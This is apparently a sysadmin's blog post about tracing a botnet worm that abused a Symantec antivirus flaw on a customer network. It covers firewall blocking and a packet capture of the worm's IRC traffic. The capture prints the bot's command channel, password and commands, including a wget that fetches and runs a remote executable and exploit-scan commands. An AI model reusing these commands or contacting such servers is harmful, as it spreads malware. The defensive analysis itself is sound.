I connected into the SonicWALL of a newly added customer who was complaining that things simply "didn't work". My initial throughts were that the engineer who had configured the device earlier that day had made a mistake somewhere. It didn't take me long to find the problem. The SonicWALL had been configured in Transparent Mode allowing them to have a few servers on their DMZ with public addresses defined on them. The Transparent Mode requires that you create an object for the range of addresses, and a zone to put it in. The object was created as a "WAN" object, but had been put into a "LAN" zone. I have seen this before. The last time I had seen it was when I had made this same mistake. Remembering that simply changing the object didn't work, I reassigned the interface to a 192.x.x.x address. Next I deleted the object, and created a new one for the correct zone. Just for good measure, I restarted the SonicWALL.
Now traffic flowed perfectly - for about a minute and a half. "This is the same problem we had before we put the SonicWALL in", says the network admin. Next I went to work looking for signs of funny business. I brought up the connections list on the SonicWALL and found that it was "topped out". This particular SonicWALL supports up to 6,000 or so concurrent connections. They had hit that mark. Something was definitely wrong. The connections were all on TCP port 2967 and to what seemed like completely random hosts. The first octet was the same as the customers, but the remaining three were random numbers. This would make sense for a virus and we have seen some that attack NetBIOS this same way. It calculates a subnet mask based on your present address. That it, it assumes that if you have a class A address, it can access all the same hosts on that class A network. Because this customer had conigured a 24.x.x.x address, it was attempting to connect to all 16.7 million hosts to infect them.
Now we were getting to the root of the problem. "You have a virus", I say. "No, we are being attacked!", says the admin. I ran a packet trace on the activity. "No, you have a virus. I can see these connections are clearly coming from you".
The customer went on to complain that they didn't understand why the SonicWALL could not withstand the attack. I tried to explain that all devices have a well known limit of the number of connections that they can support, which is based on the amount of RAM that the unit has to spend on these connections. The customer didn't want to hear it. Looking for a quick solution, they yanked the SonicWALL and went without it. The effect of which was that they continued to try and spread the virus instead of fixing the problem.
Yesterday this same virus emerged again. This time, the customer gave me some time to analyze it, and attempt to trap it. I went right work disabling the initial attack. I created two acces rules for LAN to WAN traffic, discarding all TCP connections on ports 2967 and 2968. The "discard" was important, as a "deny" would still waste some time processing the connection and would keep the firewall at 100 percent CPU utilization. Next I went into the "super secret diagnostic page" of the SonicWALL (firewall.ip/diag.html) and flushed all connections. Back to the monitor, I was a little surprised to see that all the connections were full again. This time with NetBIOS ports (135, 139, 445). So I created a second LAN to WAN discard rule for the built in NetBIOS group. Oddly enough, that did not stop the attack, as the SonicWALL's built in NetBIOS group does *not* include TCP port 135. Rather than create a new group, or attempt to change a built in group ... I simply added one more rule. Another flush of the cache, and all was fine.
An hour or so later, I was back on the phone with the admin there. "These two laptops that were causing the trouble have a few hundred virus's on them", said the admin. Then I hit her with some further bad news. Both of the infected PC's were presently connected to an IRC server in Malaysia - doing "who knows what". I immediately dropped in another discarding rule this time stopping any traffic destined for this Malaysian server.
But curiosity got the best of me, and before I dumped these connections I ran a packet trace on the virus to see what it were doing. The connections were being made to a server 203.121.79.138 on port 51555. Here is what it revealed (the data yanked from the capture using Ethereal).
PASS r0flc0mz
NICK [P00|USA|64502]
USER XP-2224 * 0 :TEACHLAP06-12
:SSH 001 [P00|USA|64502] :MySQL [P00|USA|64502]!~XP-2224@70.60.35.170
:SSH 376 [P00|USA|64502] :
:[P00|USA|64502] MODE [P00|USA|64502] :+i
MODE [P00|USA|64502] -x+i
JOIN #bpe2# p00n3d
:[P00|USA|64502]!~XP-2224@70.60.35.170 JOIN :#bpe2#
:SSH 332 [P00|USA|64502] #bpe2# :!t kill all -s|!sftp 166.104.216.37 2755 1 1 2.exe -s|!asc netapi 30 3 0 -b -e -h -s|!asc sym 30 3 0 -b -e -h -s|!asc dcom135 30 3 0 -b -e -h -s|!asc lsass445 30 3 0 -b -e -h -s|!asc asn139 30 3 0 -b -e -h -s|!ip.wget http://www.milites-liberi.de/images/is6.exe c:\3i3o.exe 1 -s
:SSH 333 [P00|USA|64502] #bpe2# 10:30 PM 1168912264
:SSH 366 [P00|USA|64502] #bpe2# :End of /NAMES list.
MODE #bpe2#This was *not good*. I could see that the virus was successful in getting a connection to this server which seemed to be helping to get other virus's downloaded and installed to the infected PC. I just had to try it myself, so I made a connection to the server with a terminal based IRC client (on the specified port) - joined the channel, and had a look around.
09:19 -!- Topic for #bpe#: !t kill all -s|!sftp 166.104.216.37 2755 1 1 2.exe
-s|!asc netapi 30 3 0 -c -e -h -s|!asc sym 50 3 0 -a -e -h -s|!asc
asn139 30 3 0 -b -e -h -s|!asc mssql 30 3 0 -a -e -h -s
09:19 -!- Topic set by 10:30 [] [Wed Dec 31 19:00:00 1969]
09:19 [Users #bpe#]I was hoping to walk into a channel and see a wide list of infected users. Then I could possibly start performing "whois" lookups on the infected hosts and attempt to pick off anyone else who might happen to be one of our customers. Those hopes were dashed when it became clear how well the server was locked down. Only IRCOP's would be able to see other users. Connected users, would only see themselves in a channel.
While all this was happening, I was yelling over the wall to our application developer. He was rushing to build some new SQL queries that would target 1) excessive connections on TCP 2967, and 2) any connections made to this Malaysian server. It would reveal about 5 to 7 more customers that were experiencing this same virus.
By now you may be asking "why did this virus slip through the cracks?". The answer to that question has always been the same: "updates!". When you don't update your Antivirus products, you pay a hefty price for it. This particular virus emerged in late December and has been spreading in high numbers in the past few days. It was able to spread thanks to a flaw in Symantec Corporate Antivirus products that has been patched since May of this past year. So why didn't these customers get the patch? Some had just not been updated in some time, such as roaming users on laptops who don't often connect to the business network. Others had simply stopped paying for the product. What many people think is "why should I keep paying for this product when the updates are free?". They raise a good point. Symantec (Norton) will provide you free updated "definitions" until the end of time. They will not, however, provide you free "product" updates. Old virus engines do not handle new virus definitions well, if at all.
If you don't update your antivirus engine, your new updates are only effective against old virus's. Now apply logic to that statement and ask yourself "when was I last infected by a 2 year old virus?".
Another good question is: why couldn't I find any good information about this virus? Answer: Symantec would rather not make headlines about this, as it is a virus that attacks a flaw in an antivirus product. Oh the irony. Some credit due to Symantec, as they patched this flaw when it was revealed. That's about the best thing you can ask of the vendor. I was later sent a link from my boss which gave some explanation to what we have seen over the past week ...
Persistent zombie attacks target Symantec corporate software
Keep on trucking folks! If you found any of this helpful, drop me a comment,
-Steve Ballantyne
